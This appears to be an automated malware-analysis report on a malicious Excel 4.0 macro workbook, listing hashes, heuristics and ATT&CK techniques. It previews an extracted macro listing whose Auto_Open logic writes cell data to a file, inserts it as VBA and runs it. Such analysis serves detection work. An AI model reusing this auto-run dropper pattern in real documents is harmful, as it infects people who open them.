Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fea361508a73858…

MALICIOUS

Office (OLE)

282.0 KB Created: 2010-05-07 06:57:19 First seen: 2015-09-17
MD5: 3e45c9df7433dca12b3f9b48c10602fe SHA-1: 7fbaacb5bdd1d58a5b889948b7258623cc83c121 SHA-256: 6fea361508a7385877c402fff9135e31d4c3b53d51e0b163d1f67fbc8754d082
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro sheet that contains an Auto_Open macro. This macro is configured to execute dangerous functions, including 'RUN', indicating an intent to launch an external process. The presence of a reference to Windows Script Host further suggests the execution of malicious scripts or payloads.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 16301 bytes
SHA-256: 89ce74672b119e9cc7068fce68c970f5fd8d31e4ec89be1263c340ea5e95b602
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  (m1)_(m2)_(m3
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden -  Module
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  ,{
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - Counter len=7 ptgRef3d  (m1)_(m2)_(m3!C82 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' Sheet,Reference,Formula,Value
'  (m1)_(m2)_(m3,A1,"FOPEN("c:\excel.txt",3)",""
'  (m1)_(m2)_(m3,A2,"FOR.CELL("Counter",R~0C~2,TRUE)",""
'  (m1)_(m2)_(m3,A3,A1,""
'  (m1)_(m2)_(m3,A4,NEXT(),""
'  (m1)_(m2)_(m3,A5,FCLOSE(A1),""
'  (m1)_(m2)_(m3,A6,VBA.INSERT.FILE("c:\excel.txt"),""
'  (m1)_(m2)_(m3,A7,"RUN("createcabfile",FALSE)",""
'  (m1)_(m2)_(m3,A8,RETURN(),""